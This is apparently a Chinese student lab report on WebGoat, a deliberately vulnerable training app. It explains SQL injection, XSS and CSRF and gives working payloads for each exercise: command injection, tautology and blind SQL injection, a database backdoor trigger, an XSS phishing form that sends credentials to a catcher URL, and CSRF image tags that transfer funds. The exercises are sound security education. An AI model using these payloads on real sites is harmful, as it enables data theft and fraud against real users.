一、基础问题回答
-
SQL注入攻击原理,如何防御
- 原理:攻击者在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,把SQL语句当做用户名等输入正常网页中以获取数据库信息的攻击或对数据库增删查改的基本操作。
- 防御:限制SQL字符串连接的配置文件;指定错误返回页面;替换或删除单引号;去除代码中的敏感信息;封装数据信息等。
-
XSS攻击的原理,如何防御
- 原理:恶意攻击者通过往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
- 防御:对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。如果有时候不能过滤的话,就将敏感的字符进行替换,让代码失去本来的样子,在读取的时候在替换回来。
-
CSRF攻击原理,如何防御
- 原理:CSRF是跨站请求伪造,是一种对网站的恶意利用,通过伪装来自受信任用户的请求来利用受信任的网站。
- 防御:通过验证码来检测用户提交,尽量不要在页面的链接中暴露用户隐私信息,对于用户修改删除等操作最好都使用post 操作 ,避免全站通用的cookie,严格设置cookie的域。
二、实践过程
1.webgoat
- 先确定webgoat安装包放在home目录下
java -jar webgoat-container-7.1-exec.ja
开启webgoat- 打开浏览器,输入
localhost:8080/WebGoat
,选择默认的账号密码即可登陆
2.SQL练习
Command Injection
- 题目要求能够在目标主机上执行系统命令,可以通过对源代码进行修改来达到目的
- 在下拉菜单中选择
BackDoors.help
,并view
,右键选择Inspect Element
- 修改源代码,在
BackDoors.help
旁边加上"& netstat -an & ipconfig"
- 下拉菜单中能看到修改后的值,选择并
view
,可以看到命令被执行,出现系统网络连接情况
Numeric SQL Injection
- 题目要求通过注入SQL字符串的方式查看所有的天气数据
- 类似上一个操作,修改页面的源代码,只要加上一个1=1这种永真式即可达到我们的目的,在任意一个值比如101旁边加上or 1=1
- 选中
Columbia
,Go
,可以看到所有天气数据
Log Spoofing
- 我们输入的用户名会被追加到日志文件中,所以我们可以使用障眼法来使用户名为“admin”的用户在日志中显示“成功登录”,在User Name文本框中输入
zss%0d%0aLogin Succeeded for username: admin
- 成功
XPATH Injection
- 题目要求使用帐户Mik/Test123,目标是试着去查看其他员工的数据
- 构造永真式
user name:zss\' or 1=1 or \'a\'=\'a
password:zss
- 成功
String SQL Injection
- 利用SQL注入让所有的信用卡号都显示出来。
- 基于select语句构造SQL注入字符串,在文本框中输入
\' or 1=1 --
- 成功,所有用户信息都被显示出来
LAB: SQL Injection
- 以用户Neville登录,在密码栏中输入\' or 1=1 --进行SQL注入,在这之前,要先将源代码中的的maxlength的值改成100,否则会因为密码长度的限制而登录不成功
- 登陆成功
- 可以看到浏览员工信息的按钮
ViewProfile
,这个地方是以员工ID作为索引传递参数的,我们要达到通过Larry来浏览老板账户信息的目的,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --
,这样老板的信息就会被排到第一
- 成功
Database Backdoors
- 注入语句
101; update employee set salary=10000
,将工资涨到了10000
- 再写一个语句
101;CREATE TRIGGER yqhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=\'20154322@qq.com\' WHERE userid = NEW.userid
,创建后门
Blind Numeric SQL Injection
- 目标是找到
pins
表中cc_number
字段值为1111222233334444
的记录中pin
字段的数值,从服务端页面返回的信息中可以知道,只会反馈两种信息:帐号有效或无效 101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 2000 )
;查看pin
数值是否大于2000
- 逐步缩小范围,最后确定数值
3.XSS
Phishing with XSS
- 题目要求是关于一个页面中存在XSS漏洞时,如何支持钓鱼攻击。要求我们利用xss和html注入达到这些目标。
- 使用XSS和HTML插入制作一个钓鱼网站,将其输在search框中,代码如下
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 输入后下拉网页,会有用户名和密码的框出现,随意输入用户名和密码
- 成功
Reflected XSS Attacks
- 当输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看
- 如果我们将带有攻击性的URL作为输入源,比如
<script>alert("23320154308yqh");</script>
,就会弹出对话框
4.CSRF
Cross Site Request Forgery
- 要求是让我们发送一个恶意URL请求的图片给用户。看了hint后知道是在message框里输入一段文字,文字里包含了恶意图片,不能让别人看出来。
- 查看Screen和menu的值
- 在信息框内输入
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>
(这句话的意思是将Funds即金钱转到自己的账户里),点击提交后就执行了这个代码,被攻击者就会给你转钱,成功
CSRF Prompt By-Pass
- 发个邮件给newsgroup,包含两个恶意请求:一个是转钱的金额,另一个是确认转账。
- 在信息框输入
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000"
width="1" height="1">
<img src="attack?Screen=1471017872&menu=900&transferFunds=confirm"
width="1" height="1">
- 提交之后,攻击成功
三、实践总结
- 体会到了SQL注入攻击、XSS攻击和CSRF攻击的强大,又有点感慨,其实这些攻击大部分都是一样的“套路”,掌握基本原理就可以实现很多攻击,所以掌握原理,明白思路还是很重要的。
- 做了这么多实验,有不懂的,当然还是懂的比较多,比刚开学时的小白要强很多,很欣慰,也看到了自己的很多不足,以后遇到不会的事情还是要去努力克服,总会解决的,通过这门课学到了很多。